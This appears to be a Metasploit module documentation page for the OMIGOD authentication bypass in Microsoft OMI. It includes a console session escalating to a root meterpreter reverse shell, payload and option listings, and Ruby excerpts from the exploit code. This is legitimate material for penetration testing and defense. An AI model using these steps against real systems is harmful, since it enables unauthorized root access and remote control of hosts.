Microsoft OMI Management Interface Authentication Bypass - Metasploit


This page contains detailed information about how to use the exploit/linux/local/cve_2021_38648_omigod metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Microsoft OMI Management Interface Authentication Bypass
Module: exploit/linux/local/cve_2021_38648_omigod
Source code: modules/exploits/linux/local/cve_2021_38648_omigod.rb
Disclosure date: 2021-09-14
Last modification time: 2021-11-02 10:10:18 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2021-38647, CVE-2021-38648

This module is also known as OMIGOD.

By removing the authentication exchange, an attacker can issue requests to the local OMI management socket that will cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1 (released September 8th 2021).

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/cve_2021_38648_omigod
msf exploit(cve_2021_38648_omigod) > show targets
    ... a list of targets ...
msf exploit(cve_2021_38648_omigod) > set TARGET target-id
msf exploit(cve_2021_38648_omigod) > show options
    ... show and set options ...
msf exploit(cve_2021_38648_omigod) > set SESSION session-id
msf exploit(cve_2021_38648_omigod) > exploit

Required Options


  • SESSION: The session to run this module on

Knowledge Base


Vulnerable Application


By removing the authentication exchange, an attacker can issue requests to the local OMI management socket that will cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1 (released September 8th 2021).

Verification Steps


  1. Start the application using the Censys Dockerfile
    1. docker build . -t ms-omi:cve-2021-38648
    2. docker run -it --entrypoint /bin/bash ms-omi:cve-2021-38648
    3. /etc/init.d/omid restart
  2. Start msfconsole
  3. Obtain a session within the container
    • The exploit/multi/script/web_delivery works well for this purpose
  4. Do: use exploit/linux/local/cve_2021_38648_omigod
  5. Set the module options
  6. Do: exploit
  7. You should get a root shell.

Options


WritableDir

This is an advanced option.

A directory where you can write files. When using the Linux Dropper target, this option must be an absolute path and less than 246 characters long.

SocketPath

This is an advanced option.

The path to the OMI server socket. The default path is /var/opt/omi/run/omiserver.sock however when this option is left blank, it will be determined at runtime.

Scenarios


Ubuntu 20.04 x64, OMI v1.6.8, SCX v1.6.6

msf6 > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: smcintyre
meterpreter > background 
[*] Backgrounding session 1...
msf6 > use exploit/linux/local/cve_2021_38648_omigod 
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_38648_omigod) > set TARGET Linux\ Dropper 
TARGET => Linux Dropper
msf6 exploit(linux/local/cve_2021_38648_omigod) > set PAYLOAD linux/x64/meterpreter/reverse_tcp 
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_38648_omigod) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(linux/local/cve_2021_38648_omigod) > set SESSION 1
SESSION => 1
msf6 exploit(linux/local/cve_2021_38648_omigod) > check
[*] The target appears to be vulnerable. Version 1.6.8-0 is affected.
msf6 exploit(linux/local/cve_2021_38648_omigod) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 1.6.8-0 is affected.
[*] Writing '/tmp/zbACyVFZyT' (250 bytes) ...
[*] Writing '/tmp/OJ3FZ2W.py' (3824 bytes) ...
[*] Sending stage (3012548 bytes) to 192.168.159.128
[+] Deleted /tmp/zbACyVFZyT
[+] Deleted /tmp/OJ3FZ2W.py
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.128:51870 ) at 2021-10-27 11:47:48 -0400

meterpreter > getuid
Server username: root
meterpreter > 

Go back to menu.

Msfconsole Usage


Here is how the linux/local/cve_2021_38648_omigod exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/cve_2021_38648_omigod

[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_38648_omigod) > show info

       Name: Microsoft OMI Management Interface Authentication Bypass
     Module: exploit/linux/local/cve_2021_38648_omigod
   Platform: Linux, Unix
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-09-14

Provided by:
  Nir Ohfeld
  Shir Tamari
  Spencer McIntyre

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Unix Command
  1   Linux Dropper

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on

Payload information:

Description:
  By removing the authentication exchange, an attacker can issue 
  requests to the local OMI management socket that will cause it to 
  execute an operating system command as the root user. This 
  vulnerability was patched in OMI version 1.6.8-1 (released September 
  8th 2021).

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-38648
  https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648
  https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
  https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647

Also known as:
  OMIGOD

Module Options


This is a complete list of options available in the linux/local/cve_2021_38648_omigod exploit:

msf6 exploit(linux/local/cve_2021_38648_omigod) > show options

Module options (exploit/linux/local/cve_2021_38648_omigod):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.129  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper

Advanced Options


Here is a complete list of advanced options supported by the linux/local/cve_2021_38648_omigod exploit:

msf6 exploit(linux/local/cve_2021_38648_omigod) > show advanced

Module advanced options (exploit/linux/local/cve_2021_38648_omigod):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SocketPath                               no        The path to the OMI server socket.
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where you can write files.

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   MeterpreterTryToFork         true             no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/cve_2021_38648_omigod module can exploit:

msf6 exploit(linux/local/cve_2021_38648_omigod) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix Command
   1   Linux Dropper

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/cve_2021_38648_omigod exploit:

msf6 exploit(linux/local/cve_2021_38648_omigod) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/x64/exec                                             normal  No     Linux Execute Command
   6   payload/linux/x64/meterpreter/bind_tcp                             normal  No     Linux Mettle x64, Bind TCP Stager
   7   payload/linux/x64/meterpreter/reverse_tcp                          normal  No     Linux Mettle x64, Reverse TCP Stager
   8   payload/linux/x64/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   9   payload/linux/x64/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   10  payload/linux/x64/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   11  payload/linux/x64/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager
   12  payload/linux/x64/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   13  payload/linux/x64/shell_bind_ipv6_tcp                              normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   14  payload/linux/x64/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   15  payload/linux/x64/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   16  payload/linux/x64/shell_reverse_ipv6_tcp                           normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   17  payload/linux/x64/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   18  payload/linux/x86/chmod                                            normal  No     Linux Chmod
   19  payload/linux/x86/exec                                             normal  No     Linux Execute Command
   20  payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   21  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   22  payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   23  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   24  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   25  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   26  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   27  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   28  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   29  payload/linux/x86/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   30  payload/linux/x86/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   31  payload/linux/x86/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   32  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   33  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   34  payload/linux/x86/read_file                                        normal  No     Linux Read File
   35  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   36  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   37  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   38  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   39  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   40  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   41  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   42  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   43  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   44  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   45  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   46  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   47  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   48  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/cve_2021_38648_omigod exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/cve_2021_38648_omigod) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The omiserver process was not found.


Here is a relevant code snippet related to the "The omiserver process was not found." error message:

79:	    ])
80:	  end
81:	
82:	  def check
83:	    pid = pidof('omiserver').first
84:	    return CheckCode::Safe('The omiserver process was not found.') if pid.nil?
85:	
86:	    omiserver_bin = read_file("/proc/#{pid}/cmdline").split("\x00", 2).first
87:	    omiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH)
88:	    return CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank?
89:	

Failed to find the omiserver binary path.


Here is a relevant code snippet related to the "Failed to find the omiserver binary path." error message:

83:	    pid = pidof('omiserver').first
84:	    return CheckCode::Safe('The omiserver process was not found.') if pid.nil?
85:	
86:	    omiserver_bin = read_file("/proc/#{pid}/cmdline").split("\x00", 2).first
87:	    omiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH)
88:	    return CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank?
89:	
90:	    vprint_status("Found #{omiserver_bin} running in PID: #{pid}")
91:	    if cmd_exec("#{omiserver_bin} --version") =~ /\sOMI-(\d+(\.\d+){2,3}(-\d+)?)\s/
92:	      version = Regexp.last_match(1)
93:	    else

Failed to identify the version of the omiserver binary.


Here is a relevant code snippet related to the "Failed to identify the version of the omiserver binary." error message:

89:	
90:	    vprint_status("Found #{omiserver_bin} running in PID: #{pid}")
91:	    if cmd_exec("#{omiserver_bin} --version") =~ /\sOMI-(\d+(\.\d+){2,3}(-\d+)?)\s/
92:	      version = Regexp.last_match(1)
93:	    else
94:	      return CheckCode::Unknown('Failed to identify the version of the omiserver binary.')
95:	    end
96:	
97:	    return CheckCode::Safe("Version #{version} is not affected.") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0')
98:	
99:	    CheckCode::Appears("Version #{version} is affected.")

Version <VERSION> is not affected.


Here is a relevant code snippet related to the "Version <VERSION> is not affected." error message:

92:	      version = Regexp.last_match(1)
93:	    else
94:	      return CheckCode::Unknown('Failed to identify the version of the omiserver binary.')
95:	    end
96:	
97:	    return CheckCode::Safe("Version #{version} is not affected.") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0')
98:	
99:	    CheckCode::Appears("Version #{version} is affected.")
100:	  end
101:	
102:	  def upload(path, data)

Version <VERSION> is affected.


Here is a relevant code snippet related to the "Version <VERSION> is affected." error message:

94:	      return CheckCode::Unknown('Failed to identify the version of the omiserver binary.')
95:	    end
96:	
97:	    return CheckCode::Safe("Version #{version} is not affected.") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0')
98:	
99:	    CheckCode::Appears("Version #{version} is affected.")
100:	  end
101:	
102:	  def upload(path, data)
103:	    print_status "Writing '#{path}' (#{data.size} bytes) ..."
104:	    write_file path, data

The omiserver pid was not found.


Here is a relevant code snippet related to the "The omiserver pid was not found." error message:

113:	  def get_socket_path
114:	    socket_path = datastore['SocketPath']
115:	    return socket_path unless socket_path.blank?
116:	
117:	    pid = pidof('omiserver').first
118:	    fail_with(Failure::NotFound, 'The omiserver pid was not found.') if pid.nil?
119:	
120:	    if read_file("/proc/#{pid}/net/unix") =~ %r{\s(/(\S+)server\.sock)$}
121:	      socket_path = Regexp.last_match(1)
122:	    else
123:	      begin

The socket path could not be found.


Here is a relevant code snippet related to the "The socket path could not be found." error message:

124:	        socket_path = DEFAULT_SOCKET_PATH if stat(DEFAULT_SOCKET_PATH).socket?
125:	      rescue StandardError # rubocop:disable Lint/SuppressedException
126:	      end
127:	    end
128:	
129:	    fail_with(Failure::NotFound, 'The socket path could not be found.') if socket_path.blank?
130:	
131:	    vprint_status("Socket path: #{socket_path}")
132:	    socket_path
133:	  end
134:	

The python binary was not found.


Here is a relevant code snippet related to the "The python binary was not found." error message:

132:	    socket_path
133:	  end
134:	
135:	  def exploit
136:	    python_binary = find_exec_program
137:	    fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary
138:	
139:	    vprint_status("Using '#{python_binary}' to run the exploit")
140:	    socket_path = get_socket_path
141:	    path = datastore['WritableDir']
142:	    python_script = rand_text_alphanumeric(5..10) + '.py'

The payload path must be an absolute path.


Here is a relevant code snippet related to the "The payload path must be an absolute path." error message:

145:	    when :unix_cmd
146:	      root_cmd = payload.encoded
147:	    when :linux_dropper
148:	      unless path.start_with?('/')
149:	        # the command will be executed from a different working directory so use an absolute path
150:	        fail_with(Failure::BadConfig, 'The payload path must be an absolute path.')
151:	      end
152:	
153:	      payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
154:	      if payload_path.length > 256
155:	        # the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in the

The payload path is too long (>256 characters).


Here is a relevant code snippet related to the "The payload path is too long (>256 characters)." error message:

152:	
153:	      payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
154:	      if payload_path.length > 256
155:	        # the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in the
156:	        # command that is executed
157:	        fail_with(Failure::BadConfig, 'The payload path is too long (>256 characters).')
158:	      end
159:	
160:	      upload(payload_path, generate_payload_exe)
161:	      cmd_exec("chmod +x '#{payload_path}'")
162:	      root_cmd = payload_path

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Nir Ohfeld
  • Shir Tamari
  • Spencer McIntyre

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.